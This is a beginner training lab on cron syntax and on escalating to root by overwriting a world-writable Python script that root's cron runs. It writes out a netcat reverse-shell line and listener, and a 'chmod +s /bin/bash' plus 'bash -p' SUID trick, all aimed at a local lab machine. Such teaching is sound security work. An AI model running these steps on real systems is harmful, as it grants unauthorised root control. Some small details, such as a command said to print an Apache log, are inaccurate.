Linux Privilege Escalation via Cron Jobs

Beginner

Introduction

In this lab, we will learn about Cron Jobs and the cron syntax, and through hands-on exercises, you will quickly grasp the usage of crontab. Furthermore, we will understand how to leverage incorrect crontab configurations to escalate privileges on Linux.

Understanding Cron Jobs and Cron Syntax

In this step, we will introduce Cron Jobs and the cron syntax.

Cron Jobs are "scheduled tasks" in the Linux system, commonly used to schedule commands that need to be executed periodically, such as regular data backups or cache clearing. They are called Cron Jobs because they use the cron tool (crontab).

Cron Jobs are one of the most commonly used tools for system administrators, and they are great tools in themselves. However, if the "scheduled tasks" are set to run with higher user privileges (e.g., root user), they can potentially be exploited by attackers for privilege escalation.

The crontab command uses the following syntax:

*    *    *    *    *   [ user ] File/Command
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- Day of the week (0 - 7) (0 = Sunday)
|    |    |    +---------- Month (1 - 12)
|    |    +--------------- Day of the month (1 - 31)
|    +-------------------- Hour (0 - 23)
+------------------------- Minute (0 - 59)

The user field is optional. If not specified, the command or script will be executed with the current user's privileges.

Note that only the root user can specify executing commands or scripts with other users' privileges.

For example, if we want to output the Apache error log every hour, we can use the following statement:

0 * * * * echo /var/log/lastlog

Since hour, day, month, and week are all set to *, the scheduled task will be executed once every time the minute reaches 0, which is every hour.

What if we need to execute a command every two hours at the 15th minute? We can make a simple modification:

15 */2 * * * echo /var/log/lastlog

To understand the usage of cron, let's go through an example.

  1. Open the terminal and navigate to the /home/labex/project directory. Then execute the following command to initialize the lab environment:

    ./env_setup1.sh

    After successful initialization, you will see the cleanup.py file and the trashDirectory directory in the labex user's home directory. The trashDirectory directory contains two files: error.log and readme.txt.

    Our lab goal is as follows: Use crontab to add a scheduled task that calls the cleanup.py script every 1 minute to clear all data in the /home/labex/project/trashDirectory directory. The cleanup.py script simply calls the rm system command through the os.system() function to clear the /home/labex/project/trashDirectory directory.

  2. Next, use the following command to add a scheduled task in crontab:

    echo "* * * * * root python /home/labex/project/cleanup.py" | sudo tee -a /etc/crontab > /dev/null

    The above command adds a scheduled task to the crontab file. The task will be executed every minute, and the cleanup.py script will be executed with root privileges.

  3. Since the cron service is disabled by default on our lab machine, we need to manually start it with the following command:

    sudo service cron start

    Expected output:

     * Starting periodic command scheduler cron

    After about a minute, if we enter the /home/labex/project/trashDirectory directory and use the ls command, we will see that the data in the directory has been cleared, indicating that the cron job is executing correctly.

Overwriting Crontab Scripts To Execute Reverse Shell

In this step, we will learn how to escalate privileges by overwriting scripts called by crontab.

  1. First, Open the terminal and navigate to the /home/labex/project directory. Then execute the following command to initialize the lab environment:

    cd /home/labex/project

    Run the script to initialize the lab environment:

    ./env_setup2.sh
  2. After successful initialization, use the following command to view the scheduled tasks on the host:

    cat /etc/crontab

    One of the scheduled tasks at the end of the file caught our attention: every minute the system executes a /home/labex/project/cleanup.py script as root which is the file we used in the previous step.

  3. Next, let's check the permissions of the script:

    ls -al /home/labex/project/cleanup.py

    We notice that the file permissions of cleanup.py are set with risks: other users also have write (w) permission, which means we can edit and modify the content of cleanup.py!

  4. Since cleanup.py is executed with root privileges, we can use reverse shell with root privileges.

    Use nc.traditional to reverse a shell to local port 4444 by modifying the cleanup.py script:

    ...
    os.system("nc.traditional 127.0.0.1 4444 -e /bin/bash")
    ...

    Save the file and the changes will take effect after a minute.

    The reason we use nc.traditional is that the default nc command does not support the -e option.

  5. Then, execute the following command to listen on the local port 4444:

    nc -lnvp 4444

    Expect output:

    Listening on 0.0.0.0 4444

    After waiting for a moment, we successfully receive a reverse shell with root privileges.

    Connection received on 127.0.0.1 45480

    Try to execute the whoami command to check the current user:

    whoami
    root

Overwriting Crontab Scripts To Give Bash SUID

Do you remember the SUID privilege escalation we discussed earlier? We can also use the cleanup.py script to modify the permissions of certain executable files to have the setuid bit set, allowing us to leverage them for SUID privilege escalation, such as setting the setuid bit for bash.

After the last step, you may still in root shell. For this step, you need logout from root shell and login again as labex user by executing the following command:

exit

Or you can open a new terminal and login as labex user.

Then, execute the following command to navigate to the /home/labex/project directory:

cd /home/labex/project
  1. Currently, /bin/bash does not have the setuid bit set:

    ls -l /bin/bash
  2. Similar to the previous step, modify the command executed by the cleanup.py script to the following command:

    ...
    os.system("chmod +s /bin/bash")
    ...
  3. After a while, if we check /bin/bash, we will find that it now has the setuid bit set, indicating that the scheduled task has been executed successfully:

    ls -l /bin/bash

    Expected output:

    -rwsr-sr-x 1 root root 1396520 Jan  7  2022 /bin/bash

    As shown above, we can now use bash -p to obtain root privileges.

    labex:project/ $ bash -p
    bash-5.1## whoami
    root
  4. Create a file named success.txt in the /root directory to indicate that you have successfully escalated privileges:

    echo "Congratulations! You have successfully escalated privileges to root." > /root/success.txt

Summary

In this lab, we learned about Cron Jobs, the cron syntax, and mastered the usage of crontab through hands-on exercises. Finally, we leveraged an incorrect crontab configuration to successfully escalate our shell to root privileges.

Other Tutorials you may like